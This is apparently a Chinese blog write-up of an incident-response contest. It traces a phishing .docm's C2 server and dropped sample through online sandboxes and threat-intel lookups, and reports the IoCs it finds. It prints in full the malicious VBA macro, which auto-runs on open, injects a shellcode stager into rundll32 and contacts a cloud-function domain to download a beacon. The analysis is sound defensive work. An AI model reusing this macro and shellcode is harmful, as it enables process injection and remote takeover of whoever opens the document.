OSCTI在比赛中的应用

什么是OSCTI

开源网络威胁情报 (Open-Source Cyber Threat Intelligence,OSCTI)是详细描述针对某个组织网络安全威胁的数据。OSCTI可以是结构化、半结构化及非结构化数据,如STIX 2.0标准的结构化威胁情报、以XML/JSON等数据形式体现的半结构化威胁情报以及论坛、博客中出现的非结构化威胁情报。

情报或威胁情报的定义是广泛的,任何对于目标的描述、关联信息均可被定义为情报。在本文中,重点讨论应急响应过程中的OSCTI以及与OSCTI相关的组件,即样本IoC、在线沙箱等。

场景重现

在近期某次应急响应赛事中,对一台被钓鱼攻击的PC机进行分析,显式提供.docm文件一份,为C2 Stager下载器;隐藏提供exe文件一份,为C2 Stager。由于在赛时忽略了查看隐藏文件,遂未发现C2 Stager,仅发现.docm文件。

Q1:攻击者C2 server IP地址是多少

Q2:攻击者落地C2样本md5值是多少

对于Q1,正常做法是使用tcpview/tcpdump/wireshark等工具查看主机网络连接,在受害主机运行样本时提交IP地址即可,或者将样本考出,于虚拟机中执行并观察网络连接状况。

image-20240401171832498

图 tcpview查看网络连接示例

对于Q2,发现隐藏的C2样本后,直接使用certutil计算MD5值即可。

然而,每次运行样本时,样本所连接的IP地址都不一样,交了三四次都不对。同时,由于赛时并未发现C2样本,导致Q2无法作答。

巧用OSCTI解题

虽然没有C2样本,但是xxx.docm文件是有的,于是将其上传至在线沙箱进行解析。

微步云沙箱

赛时将xx.docm上传至微步沙箱尝试解析,使用默认配置 Windows10x64 bit可惜并未解析出网络行为,在字符串中并未发现相关特征

image-20240401171949582

xxx.docm宏代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

#If VBA7 Then
Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String

#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If
myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -124, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, 80, 0, 0, 0, 83, 80, 104, 87, -119, -97, _
-58, -1, -43, -21, 112, 91, 49, -46, 82, 104, 0, 2, 64, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, 80, 49, -1, 87, 87, 106, -1, 83, 86, _
104, 45, 6, 24, 123, -1, -43, -123, -64, 15, -124, -61, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, _
-43, 49, -1, 87, 106, 7, 81, 86, 80, 104, -73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, -117, -1, _
-1, -1, 47, 118, 117, 101, 46, 109, 105, 110, 46, 106, 115, 0, 32, -92, 15, 47, 7, -86, -96, -85, -104, -78, 103, -107, -127, -113, 32, 125, 78, -13, 91, -97, -24, -116, 63, 56, -109, 52, _
-74, 64, 65, -55, -73, 49, -43, -24, -99, -47, -104, 11, 12, -45, 79, 17, 35, 42, -127, -109, -8, -121, -10, 121, -47, -50, 104, 98, 59, -45, -81, -84, -10, 107, 103, -17, 67, -4, -6, 97, _
47, 0, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 77, 97, 99, 105, 110, 116, 111, 115, 104, 59, 32, 73, 110, _
116, 101, 108, 32, 77, 97, 99, 32, 79, 83, 32, 88, 32, 49, 48, 46, 49, 53, 59, 32, 114, 118, 58, 56, 48, 46, 48, 41, 32, 71, 101, 99, 107, 111, 47, 50, 48, 49, 48, 48, _
49, 48, 49, 32, 70, 105, 114, 101, 102, 111, 120, 47, 56, 48, 46, 48, 13, 10, 0, 85, 119, -3, -8, -107, 40, -123, -125, -4, -119, -39, 94, 117, -84, -37, -67, -88, -119, 45, -56, -85, _
25, -83, -27, -32, 97, -31, -100, 57, 90, -66, -22, 23, -59, -108, -66, -89, 110, -55, 86, -91, -4, 115, 34, 71, -47, 72, 49, 20, 99, -119, 85, 14, -14, 71, 52, -73, -78, 64, -122, 20, _
-117, 59, -88, -19, 19, -76, -12, 25, -29, 28, -37, 87, 20, -22, -82, -14, -24, -10, -5, -115, -72, 58, -33, 109, 0, -100, -87, 108, -62, 123, 31, 32, -94, 49, -119, 83, -92, -25, 71, 52, _
-100, -39, 121, 28, 110, 5, -8, 31, -86, -51, 111, 74, 91, 96, -100, -15, -34, 90, 110, 43, -106, 54, 69, -89, 46, 121, -39, -16, -92, 76, -68, 13, -42, -86, 7, 45, 96, -72, 66, -51, _
-119, 82, -103, -112, -58, 62, -37, -106, 109, -45, 7, 90, -18, 80, 20, 81, 31, -128, 47, 22, -45, -96, 0, -125, 10, 120, 110, 71, -76, 109, -40, -103, -96, 69, -126, -76, -76, -112, -87, -86, _
-89, 100, -50, 20, 124, -36, 52, 118, -2, 44, 57, -124, 25, -64, -40, 2, -110, 15, -2, 28, 94, 125, -108, 117, -54, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, _
104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, _
-123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 115, 101, 114, 118, 105, 99, 101, 45, 112, 115, 49, 54, 119, 104, 118, 116, 45, 49, 51, 48, 52, _
56, 48, 48, 50, 55, 49, 46, 115, 104, 46, 116, 101, 110, 99, 101, 110, 116, 97, 112, 105, 103, 119, 46, 99, 111, 109, 0, 73, -106, 2, -46)
If Len(Environ("ProgramW6432")) > 0 Then
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
Else
sProc = Environ("windir") & "\\System32\\rundll32.exe"
End If

res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub

明显的,myArray变量存的数组应该是一个dll,用rundll32.exe加载并执行,可惜在还原dll的时候并没有正确还原,所以解这道题的大部分路目前为止都被堵上了。

VirusTotal

在上传微步无果后,将样本上传至VT,期待VT沙箱的behavior解析结果

image-20240401172303794

在Behavior中,可以看到类似微步沙箱的结果,即网络连接、文件释放情况等。

可惜的是,在赛时并未解析出现有的URL地址,VT沙箱的解析时间非常久,在赛时所看到的内容如下:

image-20240401172422571

在VT的relations中,可以看到与样本所关联的信息,主要为域名、IP地址等。

image-20240401172603439

在赛时能看到的只有第一条记录http://service-ps16whvt-1304800271.sh.tencentapigw.com,无法确认上图中URL即为回连地址。

ANY.RUN

在上述两个在线沙箱平台检测无果后,将.docm样本上传至any.run,使用默认配置win7x32bit进行检测。

在该平台正确的检测到了样本的下载与回连动作,如下图所示:

image-20240401172925216

那么至此可以确定,在VT中出现的http://service-ps16whvt-1304800271.sh.tencentapigw.com即为回连地址,使用腾讯云的云函数隐藏了真正的C2地址。

Q1:定位C2 Server

目前得到的IoC有

C2回连域名http://service-ps16whvt-1304800271.sh.tencentapigw.com

.docm样本hash值6ef475fdbe8052fe850923275247e5dafa08be83015bad755ccc421ae2ea73e8

直接搜索回连域名,在ThreatFox有相关记录:

image-20240401173328728

详情中记录了社区用户解析并提交的C2 Server信息:

image-20240401173404587

所以对于Q1,答案为122.51.7.163

Q2:确定样本MD5

根据IoC service-ps16whvt-1304800271.sh.tencentapigw.com在VT Relation中得到样本信息:

image-20240401190837811

选中对应的样本 todesk.exe,点击DETAILS,查看样本MD5值。

image-20240401191040627

所以样本MD5为a831de33265fe368d7c2a6892857a232

样本的首次提交时间为北京时间3.29号11.32分左右,所以这证明了该样本的首次上传并非赛时其他选手所为。

image-20240401191208208

image-20240401191318090

赛后思考

威胁情报部分

赛后重新在微步沙箱分析了XXX.docm文件,发现可以获取到云函数地址:

image-20240401191502258

重新应用Win7x32bit沙箱,发现了向云函数网关的HTTP请求:

image-20240401191612479

VB解混淆部分

对于XX.docm中的VB代码进行解混淆,十进制先转十六进制,或者十进制直接转ascii都OK,可以直接看到云函数地址

image-20240401193337435

image-20240401193346949

获得云函数地址后结合威胁情报就可以继续分析了。

参考

https://gist.github.com/magnusstubman/18397dfd4fc6d22892cd4ee183747ef7

https://kpmg.com/nl/en/home/insights/2022/05/injecting-a-cobalt-strike-beacon-from-an-office-macro-under-windows-defender.html